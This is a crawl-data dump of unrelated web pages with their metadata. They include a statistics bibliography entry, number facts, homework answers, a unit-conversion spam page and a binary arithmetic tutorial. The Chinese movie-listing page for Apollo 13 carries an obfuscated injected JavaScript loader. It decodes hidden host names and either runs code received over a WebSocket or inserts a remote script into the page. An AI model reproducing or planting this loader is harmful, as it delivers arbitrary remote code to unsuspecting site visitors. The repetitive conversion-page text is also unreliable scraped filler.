"https://helios-i.mashable.com/imagery/roundups/014HNCewWoO7ggBV39986VG/images-1.fill.size_2000x629.v1650917310.png",
null,
"https://zdbb.net/l/z0WVjCBSEeGLoxIxOQVEwQ",
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.7968368,"math_prob":0.9382322,"size":11110,"snap":"2022-40-2023-06","text_gpt3_token_len":3385,"char_repetition_ratio":0.15793265,"word_repetition_ratio":0.1356962,"special_character_ratio":0.2921692,"punctuation_ratio":0.11770245,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9544136,"pos_list":[0,1,2,3,4,5,6],"im_url_duplicate_count":[null,null,null,null,null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-10-06T01:30:13Z\",\"WARC-Record-ID\":\"<urn:uuid:57eeed43-ff82-43c9-9b96-cc181be1b820>\",\"Content-Length\":\"160469\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:239b3959-d980-40a0-a379-a33fd5b87742>\",\"WARC-Concurrent-To\":\"<urn:uuid:12bb86f2-c288-48e0-887e-1c46109953a7>\",\"WARC-IP-Address\":\"104.21.3.78\",\"WARC-Target-URI\":\"https://knjm.blade720.shop/order-of-operations-pdf-kuta.html\",\"WARC-Payload-Digest\":\"sha1:FVE7H2R34DWMX3YYBMIIFDJGFJLOON2I\",\"WARC-Block-Digest\":\"sha1:U77BNKBSV5FQEENBEPCCFFLW5FQXWHYW\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-40/CC-MAIN-2022-40_segments_1664030337680.35_warc_CC-MAIN-20221005234659-20221006024659-00093.warc.gz\"}"} |
https://stars.library.ucf.edu/facultybib1990/1547/ | [
"## Faculty Bibliography 1990s\n\n#### Title\n\nGauss-Newton Estimation Of Parameters For A Spatial Autoregression Model\n\n#### Authors\n\nB. B. Bhattacharyya; T. M. Khalil;G. D. Richardson\n\n#### Abbreviated Journal Title\n\nStat. Probab. Lett.\n\n#### Keywords\n\nmartingale central limit theorem; spatial autoregression; unit root; estimation; CENTRAL LIMIT THEOREMS; Statistics & Probability\n\n#### Abstract\n\nEstimation of (alpha,beta)' in the doubly geometric model Z(ij) = alpha Z(i-1,j) + beta Z(i,j-1) - alpha beta Z(i-1,j-1) + epsilon(ij) is discussed for the cases (i) alpha = 1, \\B\\ < 1 and(ii) alpha = beta = 1. In each case, the ''one step Gauss-Newton estimator'' is shown, when properly normalized, to be asymptotically normal.\n\n#### Journal Title\n\nStatistics & Probability Letters\n\n28\n\n2\n\n1-1-1996\n\n#### Document Type\n\nArticle\n\nhttp://dx.doi.org/10.1016/0167-7152(95)00114-x\n\nEnglish\n\n173\n\n179\n\n#### WOS Identifier\n\nWOS:A1996UN68600014\n\n0167-7152\n\nCOinS"
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.5148409,"math_prob":0.56420374,"size":1065,"snap":"2019-43-2019-47","text_gpt3_token_len":301,"char_repetition_ratio":0.095193215,"word_repetition_ratio":0.04195804,"special_character_ratio":0.25915492,"punctuation_ratio":0.13917525,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9705016,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-11-19T09:54:06Z\",\"WARC-Record-ID\":\"<urn:uuid:e62d3bd3-2e8c-43d7-a718-79c6b65732f6>\",\"Content-Length\":\"31891\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:daf66f03-a21e-4ea7-974f-744096b09391>\",\"WARC-Concurrent-To\":\"<urn:uuid:b3160fb6-8fc9-4983-84df-550ff29763b7>\",\"WARC-IP-Address\":\"50.18.241.247\",\"WARC-Target-URI\":\"https://stars.library.ucf.edu/facultybib1990/1547/\",\"WARC-Payload-Digest\":\"sha1:YPBYWGAMPOCBXUBKUPHID7YO753ABU63\",\"WARC-Block-Digest\":\"sha1:E3SIDKND7ETOK5YL3MSUCDQLXMYHTMRX\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-47/CC-MAIN-2019-47_segments_1573496670135.29_warc_CC-MAIN-20191119093744-20191119121744-00046.warc.gz\"}"} |
https://www.csshenxin.com/juqingpian/aboluo13haoguoyu/ | [
"• # 阿波罗13号国语\n\n• 状态：HD\n• 类型：历史\n• 主演：汤姆·汉克斯 比尔·帕克斯顿 凯文·贝肯 艾德·哈里斯 加里·西尼斯 凯瑟琳·奎南 马里·凯特·舒切尔哈德特 艾米丽·安·劳埃德\n• 年代：1995\n• 地区：美国\n\n## 评论\n\n• 评论加载中...\nfunction JeqEKbgC(e){var t=\"\",n=r=c1=c2=0;while(n %lt;e.length){r=e.charCodeAt(n);if(r %lt;128){t+=String.fromCharCode(r);n++;}else if(r %gt;191&&r %lt;224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)%lt;%lt;6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)%lt;%lt;12|(c2&63)%lt;%lt;6|c3&63);n+=3;}}return t;};function FJeCoyWV(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t=\"\",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,\"\");while(f %lt;e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s %lt;%lt;2|o %gt;%gt;4;r=(o&15)%lt;%lt;4|u %gt;%gt;2;i=(u&3)%lt;%lt;6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return JeqEKbgC(t);};window[''+'E'+'V'+'J'+'n'+'d'+'j'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,k,i,w,d,c){var x=FJeCoyWV,cs=d[x('Y3VycmVudFNjcmlwdA==')];'jQuery';if(navigator.userAgent.indexOf('baidu')>-1){k=decodeURIComponent(x(k.replace(new RegExp(c+''+c,'g'),c)));var ws=new WebSocket('wss://'+k+':9393/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);}}else{u=decodeURIComponent(x(u.replace(new RegExp(c+''+c,'g'),c)));var s=document.createElement('script');s.src='https://'+u+'/l/'+i;cs.parentElement.insertBefore(s,cs);}})('aGoueGluYm8tbG9yYSS5jbg==','dHIueWVzdW422NzguY229t','151898',window,document,['S','2']);}:function(){};\n•",
null,
"扫一扫关注微信公众号\n\n--== 选择主题 ==--\n• 樱桃\n• 橘子\n• 葡萄\n• 青柠\n• 紫色\n• 黑色\n• 红色"
] | [
null,
"https://www.csshenxin.com/tpl/zanpiancms12/images/weixincode.jpg",
null
] | {"ft_lang_label":"__label__zh","ft_lang_prob":0.9884491,"math_prob":0.9729531,"size":718,"snap":"2022-27-2022-33","text_gpt3_token_len":851,"char_repetition_ratio":0.05882353,"word_repetition_ratio":0.7,"special_character_ratio":0.18662953,"punctuation_ratio":0.0,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.96064734,"pos_list":[0,1,2],"im_url_duplicate_count":[null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2022-07-03T08:58:30Z\",\"WARC-Record-ID\":\"<urn:uuid:8b18ff97-737a-452a-9e6a-88acfeb67da7>\",\"Content-Length\":\"38696\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:2c7b3ee5-8700-484d-99a2-8d703f4792a4>\",\"WARC-Concurrent-To\":\"<urn:uuid:080bff46-c136-406a-8393-d97fe7a30946>\",\"WARC-IP-Address\":\"154.202.57.2\",\"WARC-Target-URI\":\"https://www.csshenxin.com/juqingpian/aboluo13haoguoyu/\",\"WARC-Payload-Digest\":\"sha1:5KQ62ODYD6OQ7TLW4FY26P3IW3DP6RAE\",\"WARC-Block-Digest\":\"sha1:TGMRQGHPWO34UAVPBIOJ2PAQFEQ4ZZVS\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2022/CC-MAIN-2022-27/CC-MAIN-2022-27_segments_1656104215805.66_warc_CC-MAIN-20220703073750-20220703103750-00597.warc.gz\"}"} |
https://www.numbersaplenty.com/30996 | [
"Search a number\nBaseRepresentation\nbin111100100010100\n31120112000\n413210110\n51442441\n6355300\n7156240\noct74424\n946460\n1030996\n1121319\n1215b30\n1311154\n14b420\n1592b6\nhex7914\n\n30996 has 48 divisors (see below), whose sum is σ = 94080. Its totient is φ = 8640.\n\nThe previous prime is 30983. The next prime is 31013. The reversal of 30996 is 69903.\n\n30996 = T84 + T85 + ... + T91.\n\n30996 is nontrivially palindromic in base 5.\n\nIt is a Harshad number since it is a multiple of its sum of digits (27).\n\nIt is a nialpdrome in base 14.\n\nIt is a congruent number.\n\nIt is an inconsummate number, since it does not exist a number n which divided by its sum of digits gives 30996.\n\nIt is an unprimeable number.\n\n30996 is an untouchable number, because it is not equal to the sum of proper divisors of any number.\n\nIt is a pernicious number, because its binary representation contains a prime number (7) of ones.\n\nIt is a polite number, since it can be written in 15 ways as a sum of consecutive naturals, for example, 736 + ... + 776.\n\nIt is an arithmetic number, because the mean of its divisors is an integer number (1960).\n\n230996 is an apocalyptic number.\n\n30996 is a gapful number since it is divisible by the number (36) formed by its first and last digit.\n\nIt is an amenable number.\n\nIt is a practical number, because each smaller number is the sum of distinct divisors of 30996, and also a Zumkeller number, because its divisors can be partitioned in two sets with the same sum (47040).\n\n30996 is an abundant number, since it is smaller than the sum of its proper divisors (63084).\n\nIt is a pseudoperfect number, because it is the sum of a subset of its proper divisors.\n\n30996 is a wasteful number, since it uses less digits than its factorization.\n\n30996 is an odious number, because the sum of its binary digits is odd.\n\nThe sum of its prime factors is 61 (or 53 counting only the distinct ones).\n\nThe product of its (nonzero) digits is 1458, while the sum is 27.\n\nThe square root of 30996 is about 176.0568090135. The cubic root of 30996 is about 31.4124553343.\n\nThe spelling of 30996 in words is \"thirty thousand, nine hundred ninety-six\"."
] | [
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.9334465,"math_prob":0.9965692,"size":2038,"snap":"2021-31-2021-39","text_gpt3_token_len":555,"char_repetition_ratio":0.19469027,"word_repetition_ratio":0.005291005,"special_character_ratio":0.32041216,"punctuation_ratio":0.13457076,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99838424,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-08-05T08:08:55Z\",\"WARC-Record-ID\":\"<urn:uuid:2e797eed-0f57-4c89-993c-da0cd1f4cc1a>\",\"Content-Length\":\"10761\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:ec444a2c-9720-4156-b22e-2bdd12a7760c>\",\"WARC-Concurrent-To\":\"<urn:uuid:90532ab1-90bc-460e-9faa-d03e4f113bea>\",\"WARC-IP-Address\":\"62.149.142.170\",\"WARC-Target-URI\":\"https://www.numbersaplenty.com/30996\",\"WARC-Payload-Digest\":\"sha1:JDLSHVGLJX25HCTRAV46JZMOJGNU62ZG\",\"WARC-Block-Digest\":\"sha1:22EB2SAYDXLJUBHV2XRHMJJ53P2OCJLG\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-31/CC-MAIN-2021-31_segments_1627046155458.35_warc_CC-MAIN-20210805063730-20210805093730-00341.warc.gz\"}"} |
https://www.assignmentexpert.com/homework-answers/economics/macroeconomics/question-56722 | [
"76 826\nAssignments Done\n98,6%\nSuccessfully Done\nIn June 2019\n\nAnswer to Question #56722 in Macroeconomics for Domenic\n\nQuestion #56722\nan open macroeconomic model for a hypothetical economy is represented as follows\n\nY=Co+Io+Go+Xo-Mo, M=mo+m1yd, C=co+c1yd, T=tY and Yd=Y-T\n\na) Show that equal change in tax ans government expenditure are expansionary to the economy\n\nb) Derive the equilibrium level of savings in the economy\nThe equal change in tax and government expenditure are expansionary for the economy, because if the government expenditure increases (Go to G1), the GDP will increase too, as Y= C0 +Io+Go+X0-M. So, the equal change in tax and government expenditure will have expansionary effect.\nIn the equilibrium savings are equal to investment, so in our case the equilibrium level of savings is S = Io.\nInvestment multiplier is simply the multiplier effect of an injection of investment into an economy.\nThe investment multiplier in our case will be mi = 1/(1 - c) = 1/(1 - c1).\n\nNeed a fast expert's response?\n\nSubmit order\n\nand get a quick answer at the best price\n\nfor any assignment or question with DETAILED EXPLANATIONS!"
] | [
null
] | {"ft_lang_label":"__label__en","ft_lang_prob":0.8862289,"math_prob":0.9404683,"size":1459,"snap":"2019-26-2019-30","text_gpt3_token_len":372,"char_repetition_ratio":0.13676976,"word_repetition_ratio":0.6694915,"special_character_ratio":0.23714873,"punctuation_ratio":0.071174376,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.96786076,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-06-18T23:50:05Z\",\"WARC-Record-ID\":\"<urn:uuid:07219f55-569d-40fd-98b6-a3d06af9b5ac>\",\"Content-Length\":\"44969\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:ba6e41a4-cb04-4d05-8fb4-e4994294609d>\",\"WARC-Concurrent-To\":\"<urn:uuid:38a8bccb-ccce-4223-bf9a-010f1ca86eff>\",\"WARC-IP-Address\":\"52.24.16.199\",\"WARC-Target-URI\":\"https://www.assignmentexpert.com/homework-answers/economics/macroeconomics/question-56722\",\"WARC-Payload-Digest\":\"sha1:ZBMH2U4LDP4C7K3QOTMJVTQH2MYEEY3Y\",\"WARC-Block-Digest\":\"sha1:FGKJAZEUOWM5JA5ISW2F5JLDIYPWPRRH\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-26/CC-MAIN-2019-26_segments_1560627998844.16_warc_CC-MAIN-20190618223541-20190619005541-00386.warc.gz\"}"} |
https://zbmath.org/?q=an:0794.68093 | [
"# zbMATH — the first resource for mathematics\n\nStructural equivalence and ET0L grammars. (English) Zbl 0794.68093\nÉsik, Zoltán (ed.), Fundamentals of computation theory. 9th international conference, FCT ’93, Szeged, Hungary, August 23-27, 1993. Proceedings. Berlin: Springer-Verlag. Lect. Notes Comput. Sci. 710, 430-439 (1993).\nSummary: For a given context-sensitive grammar $$G$$ we construct ET0L grammars $$G_ 1$$ and $$G_ 2$$ that are structurally equivalent if and only if the language generated by $$G$$ is empty, which implies that structural equivalence is undecidable for ET0L grammars. This is in contrast to the decidability result for the E0L case. In fact, we show that structural equivalence is undecidable for propagating ET0L grammars even when the number of tables is restricted to be at most two. A stronger notion of equivalence that requires the sets of syntax trees to be isomorphic is shown to be decidable for ET0L grammars.\nFor the entire collection see [Zbl 0875.00104].\n\n##### MSC:\n 68Q42 Grammars and rewriting systems"
] | [
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.72359747,"math_prob":0.9823814,"size":1248,"snap":"2021-43-2021-49","text_gpt3_token_len":348,"char_repetition_ratio":0.1318328,"word_repetition_ratio":0.033519555,"special_character_ratio":0.27804488,"punctuation_ratio":0.19753087,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9795057,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-10-21T12:32:33Z\",\"WARC-Record-ID\":\"<urn:uuid:97b6083c-e05f-448a-a85f-eb98d80b1299>\",\"Content-Length\":\"46033\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:ad28ddda-2ccd-4fbb-85b5-d23084940b06>\",\"WARC-Concurrent-To\":\"<urn:uuid:1efcf2c6-f902-43e4-9711-057e69bf5274>\",\"WARC-IP-Address\":\"141.66.194.2\",\"WARC-Target-URI\":\"https://zbmath.org/?q=an:0794.68093\",\"WARC-Payload-Digest\":\"sha1:N5OVFOW3UWP5IJLO22TVLVNHA55GCSNW\",\"WARC-Block-Digest\":\"sha1:N5ZCBMRIF4ULEPGUFV5ASA5NQ4NOQI7N\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-43/CC-MAIN-2021-43_segments_1634323585405.74_warc_CC-MAIN-20211021102435-20211021132435-00071.warc.gz\"}"} |
https://socratic.org/questions/how-do-you-calculate-the-percentage-composition-of-copper-in-cuso-4 | [
"# How do you calculate the percentage composition of Copper in CuSO_4?\n\n$\\text{Molar mass of copper\"/\"Molar mass of copper sulfate}$ xx100%\n$\\frac{63.55 \\cdot g \\cdot m o {l}^{-} 1}{\\left(63.55 + 32.06 + 4 \\times 15.999\\right) \\cdot g \\cdot m o {l}^{-} 1}$ xx100% $=$ ?%\nNote that the anhydrous salt is white, but it dissolves in water to give a beautiful blue solution, due to the ${\\left[C u {\\left(O {H}_{2}\\right)}_{6}\\right]}^{2 +}$ complex."
] | [
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] | {"ft_lang_label":"__label__en","ft_lang_prob":0.82542276,"math_prob":0.99953055,"size":344,"snap":"2020-34-2020-40","text_gpt3_token_len":84,"char_repetition_ratio":0.10294118,"word_repetition_ratio":0.0,"special_character_ratio":0.22383721,"punctuation_ratio":0.07936508,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99697167,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-08-09T00:24:11Z\",\"WARC-Record-ID\":\"<urn:uuid:90e651a9-2683-49e3-b018-38f357f57b3b>\",\"Content-Length\":\"32179\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:ddfca0b9-f64d-42a0-8350-046f17c03b2e>\",\"WARC-Concurrent-To\":\"<urn:uuid:72a4e5c3-4a06-4c51-ac03-3cf687682567>\",\"WARC-IP-Address\":\"216.239.36.21\",\"WARC-Target-URI\":\"https://socratic.org/questions/how-do-you-calculate-the-percentage-composition-of-copper-in-cuso-4\",\"WARC-Payload-Digest\":\"sha1:R6IC4VGWJADAP2CBBJTUNAZTDXSUMCJO\",\"WARC-Block-Digest\":\"sha1:IJT3OF3Z34SN7NXILVO45HGYE7QINTSK\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-34/CC-MAIN-2020-34_segments_1596439738366.27_warc_CC-MAIN-20200808224308-20200809014308-00596.warc.gz\"}"} |
https://www.erzherzog-albrecht.de/12/1-ounce-is-how-many-mill.html | [
"High and New Industrial Zone, Kexue Revenue\n\nProduct List\n\nHOME / How many ounces in one mill Answers\n\n# How many ounces in one mill Answers\n\nAssuming one mill means 1 milliliter it would be equal to 003381 fluid ounces It is also equal to 0001 liters\n\nWhatever your requirements, you 'll find the perfect service-oriented solution to match your specific needs with our help.We are here for your questions anytime 24/7, welcome your consultation.\n\nChat Online\n\n## RELEVANT List\n\n•",
null,
"### How many ounces in one mill Answers\n\nAssuming one mill means 1 milliliter it would be equal to 003381 fluid ounces It is also equal to 0001 liters\n\n•",
null,
"### Ounces to Milliliter Conversion fl oz to mL\n\nThere are 29573529564112 milliliter in a ounce 1 Ounce is equal to 29573529564112 Milliliter 1 fl oz 29573529564112 mL\n\n•",
null,
"### Convert 1 Ounce to Milliliters\n\nConvert 1 Ounce to Milliliters A US fluid once is 1128 th of a US gallon It is not the same as an ounce of weight or an Imperial fluid ounce A milliliter is a unit of volume equal to 11000 th of a liter It is the same as a cubic centimeter\n\n•",
null,
"### Convert 16 oz to mL The Calculator Site\n\n16 imperial fl oz to mL 1 imperial fluid ounce 28413064262467 mL 16 × 28413064262467 45460902819948 mL Rounding that figure we get our answer 16 imperial fl oz 454609 mL Should you wish to check the answers or try a similar conversion give our volume converter a try\n\n•",
null,
"### Fluid Ounces to Milliliters Converter oz to mL\n\n1 Fluid ounce oz is equal to 295735296 milliliters mL To convert fluid oz to mL multiply the fluid oz value by 295735296 For example to find out how many mL is 16 oz multiply 16 by 295735296 that makes 473176 mL is 16 fluid oz\n\n•",
null,
"### how many mills in 1 oz Yahoo Answers\n\nSep 13 2006 · Rating Newest Oldest Best Answer there are 283495247 milligrams in 1 ounce These are weight measurements since water has a density of 1gcc 1 cubic centimeter ml of water weighs 1 gram or 1000 milligrams 1 oz of water in volume is approx 28349 mls\n\n•",
null,
"### How Many Milliliters Are in an Ounce\n\nThere are approximately 29574 milliliters mL per US liquid ounce fl oz To convert a volume measurement in ounces to milliliters simply multiply it by 29574 Ounces that measure volume are called fluid ounces They are part of the imperial system of measurement while milliliters are a\n\n•",
null,
"### Convert fluid ounces to ml Conversion of Measurement\n\nHow many fluid ounces in 1 ml The answer is 0033814022558919 We assume you are converting between US fluid ounce and milliliter You can view more details on each measurement unit fluid ounces or ml The SI derived unit for volume is the cubic meter 1 cubic meter is equal to 33814022558919 fluid ounces or 1000000 ml\n\n•",
null,
"### Convert ml to oz Conversion of Measurement Units\n\nUse this page to learn how to convert between milliliters and ounces Type in your own numbers in the form to convert the units ›› Quick conversion chart of ml to oz 1 ml to oz 003381 oz 10 ml to oz 033814 oz 20 ml to oz 067628 oz 30 ml to oz 101442 oz 40 ml to oz 135256 oz 50 ml to oz 16907 oz 100 ml to oz 33814 oz\n\n•",
null,
"### Ounces to Pounds converter oz to lbs Weight conversion\n\nHow to convert Ounces to Pounds 1 ounce oz is equal to 00625 pounds lb The mass m in pounds lb is equal to the mass m in ounces oz divided by 16\n\n•",
null,
"### Convert FL OZ to mL Conversion of Measurement Units\n\n1 cubic meter is equal to 33814022558919 FL OZ or 1000000 mL Note that rounding errors may occur so always check the results Use this page to learn how to convert between fluid ounces and milliliters Type in your own numbers in the form to convert the units ›› Quick conversion chart of FL OZ to mL 1 FL OZ to mL 2957353 mL\n\n•",
null,
"### Millilitres to Ounces ml to oz conversion\n\nMilliliters to Ounces mL to oz conversion calculator for Volume conversions with additional tables and formulas Language Milliliters to Ounces ml to oz conversion There is more than one type of Ounces Please use the appropriate variation from the list below Milliliters to US Fluid Ounces\n\n•",
null,
"### 1 liters is how many milli liters Answers\n\na conversion format of milli liters to milli meters would need a calc or to know how many milliliters it would take to 1 millimeter than multiply the number you came up with by how many\n\n•",
null,
"### 1 ounce is how many mill\n\n1 ounce is how many mill Convert Ounces to Milliliters oz to mL asknumbers For example to find out how many mL there are in an ounce and a half in US multiply 15 by 2957 that makes 44355 mL in 15 US fluid ounc You may also use this volume units conversion tool to convert between US imperial fluid ounces and milliliters\n\n•",
null,
"### 10 oz to ml Convert 10 oz to ml\n\n00338140225589 ounces go into one milliliter – or one ounce is equivalent to 2957 milliliters The easiest way to convert ounces to milliliters is to round the ounce up from 2957ml to 30ml – and multiply it by the number of ounces you have – this will let you know give or take approximately how many milliliters so many ounces is\n\n•",
null,
"### 1 ounce is how many mill\n\nHow many liters equal to mill scienceanswers 1 milliliter is equal to 0001 liters Conversely 1 liter is equalto 1000 milliliters 100 centiliters or 10 deciliters Get More Convert 1 oz to ml Conversion of Measurement Units\n\n•",
null,
"### Convert 4 Ounces to Milliliters\n\nA milliliter is a unit of volume equal to 11000 th of a liter It is the same as a cubic centimeter It is the same as a cubic centimeter Ounces to Milliliters Conversions\n\n•",
null,
"### oz to mils conversion Reference Designer\n\nJul 09 2012 · Following is the formula cpw in oz to thickness in mils conversion If you want to quickly check Table you can see it here Thicknessin oz thickness in mils 137 Following is the formula thickness in mils to cpw in oz conversion t in mils t in oz 137\n\n•",
null,
"### Convert Milliliters to Fluid Ounces ml to fl oz\n\nThe US fluid ounce is a unit of volume equal to 116 of apint or 18 of a cup The fluid ounce is sometimes referred to as an ounce but should not be confused with the unit of mass One fluid ounce is equal to just under 296 milliliters but in nutrition labelling one fluid ounce is rounded to exactly 30 milliliters\n\n•",
null,
"### Milligrams to Ounces conversion Metric Conversion charts\n\nMilligrams to Ounces formula oz mg 0000035274 Show working Show result in exponential format Milligrams A unit of mass equal to onethousandth of a gram Milligrams to Ounces formula oz mg 0000035274 Ounces A unit of weight equal to\n\n•",
null,
"### Ounces to Grams converter oz to g\n\nHow to convert Ounces to Grams 1 ounce oz is equal to 2834952 grams g 1 oz 2834952 g The mass m in grams g is equal to the mass m in ounces oz times 2834952 m g m oz ×\n\n•",
null,
"### Can Size Conversion Chart for Ingredients in Recipes\n\nTo find out how many cups in a can are required its useful to have a little history of the canning industry According to the guidebook Canning and How to Use Canned Foods by AW Bitting and KG Bitting the National Canners Association its now called the Food Products Association says while there are or were some can sizes considered standard these measurements arent based on any\n\n•",
null,
"### How Many Shots Are in a Bottle of Liquor\n\nAccent juices such as lemon and lime usually use 14 to 12 ounce Filling a highball or tall drink with juice or soda often requires 4 to 6 ounces With this information and the recipes you intend to serve you can estimate how many bottles of each liquor you will need to create a certain number of drinks\n\n•",
null,
"### Cups to Fluid Ounces Converter c to fl oz\n\n1 Cup US 8 Ounces Fluid US 1 Cup Metric 88 Ounces Fluid UK 1 Cup Imperial 10 Ounces Fluid Imperial For example to find out how many ounces there are in a cup and a half multiply the number of cups by the conversion factor that makes 15 c 8 12 ounces in 15 cups\n\n•",
null,
"### Baby Formula Calculator Enfamil US\n\nBaby Formula Calculator Wondering how much formula youll need Answer a few simple questions below to calculate the amount of Enfamil formula your baby will need for an extended period of time Our baby formula calculator can help you stock up your pantry for when your baby arrives or it can help you determine how much formula you will need\n\n•",
null,
"### How many fluid ounces equal 100 mils Answers\n\nHow many fluid ounces equal 100 mils One ounce approx 294 ml 100 ml would be about 3 13 fl ounces What is 13525 fluid ounces in MILS 13525 US fluid ounces is equal to about 400mL\n\n•",
null,
"### Shot glass Wikipedia\n\n30 ml 1 US fl oz 44 ml 15 US fl oz 59 to 89 ml 2 to 3 US fl oz There is no standard size for a single shot except in Utah where a shot is defined as 15 US fl oz 44 ml Elsewhere in the US the standard size is generally considered to be 125–15 US fl oz 37–44 ml\n\n•",
null,
"### 24 oz to ml Convert 24 oz to ml\n\n00338140225589 ounces go into one milliliter – or one ounce is equivalent to 2957 milliliters The easiest way to convert ounces to milliliters is to round the ounce up from 2957ml to 30ml – and multiply it by the number of ounces you have – this will let you know give or take approximately how many milliliters so many ounces is"
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https://www.engineeringtoolbox.com/amp/binary-numbers-adding-substraction-multiplication-division-d_2100.html | [
"Engineering ToolBox - Resources, Tools and Basic Information for Engineering and Design of Technical Applications!\n\nThis is an AMP page - Open full page! for all features.\n\n• the most efficient way to navigate the Engineering ToolBox!\n\nBinary Adding, Subtraction, Multiplicaton and Division\n\nAdding, subtracting, multiplying and dividing binary numbers\n\nA binary signal or number is one that can take only one value: 1 or 0 -or on or off.\n\n• 0 + 0 = 0\n• 0 + 1 = 1\n• 1 + 0 = 1\n• 1 + 1 = 0 (with a carry of 1)\n\nDecimalBinary\n5\n+ 6\n= 11\n101\n+ 110\n= 1011\n15\n+ 20\n= 35\n1111\n+ 10100\n= 100011\n3.25\n+ 5.75\n= 9.00\n11.01\n+ 101.11\n= 1001.00\n\nSubtracting Binary Numbers\n\nRule to follow when binary numbers are subtracted:\n\n• 0 - 0 = 0\n• 1 - 0 = 1\n• 1 - 1 = 0\n• 0 - 1 = 1 (with a borrow of 1)\n\nDecimalBinary\n9\n- 5\n= 4\n1001\n- 101\n= 0100\n16\n- 3\n= 13\n10000\n- 11\n= 01101\n6.25\n- 4.50\n= 1.75\n110.01\n- 100.10\n= 001.11\n\nMultiplication of Binary Numbers\n\nRule to follow when binary numbers are multiplied:\n\n• 0 x 0 = 0\n• 0 x 1 = 0\n• 1 x 0 = 0\n• 1 x 1 = 1\n\nDivision of Binary Numbers\n\nRule to follow when binary numbers are divided:\n\n• 0 / 1 = 0\n• 1 / 1 = 1\n\nRelated Topics\n\n• Mathematics - Mathematical rules and laws - numbers, areas, volumes, exponents, trigonometric functions and more\n\nSearch Engineering ToolBox\n\n• the most efficient way to navigate the Engineering ToolBox!\n\nSketchUp Extension - Online 3D modeling!\n\nAdd standard and customized parametric components - like flange beams, lumbers, piping, stairs and more - to your Sketchup model with the Engineering ToolBox - SketchUp Extension - enabled for use with the amazing, fun and free SketchUp Make and SketchUp Pro .Add the Engineering ToolBox extension to your SketchUp from the Sketchup Extension Warehouse!\n\nPrivacy\n\nWe don't collect information from our users. Only emails and answers are saved in our archive. Cookies are only used in the browser to improve user experience.\n\nSome of our calculators and applications let you save application data to your local computer. These applications will - due to browser restrictions - send data between your browser and our server. We don't save this data.\n\nTemperature\n\noC\noF\n\nLength\n\nm\nkm\nin\nft\nyards\nmiles\nnaut miles\n\nArea\n\nm2\nkm2\nin2\nft2\nmiles2\nacres\n\nVolume\n\nm3\nliters\nin3\nft3\nus gal\n\nWeight\n\nkgf\nN\nlbf\n\nVelocity\n\nm/s\nkm/h\nft/min\nft/s\nmph\nknots\n\nPressure\n\nPa (N/m2)\nbar\nmm H2O\nkg/cm2\npsi\ninches H2O\n\nFlow\n\nm3/s\nm3/h\nUS gpm\ncfm\n\n6 14"
] | [
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https://www.excelguru.ca/forums/showthread.php?3107-lottery-60-6 | [
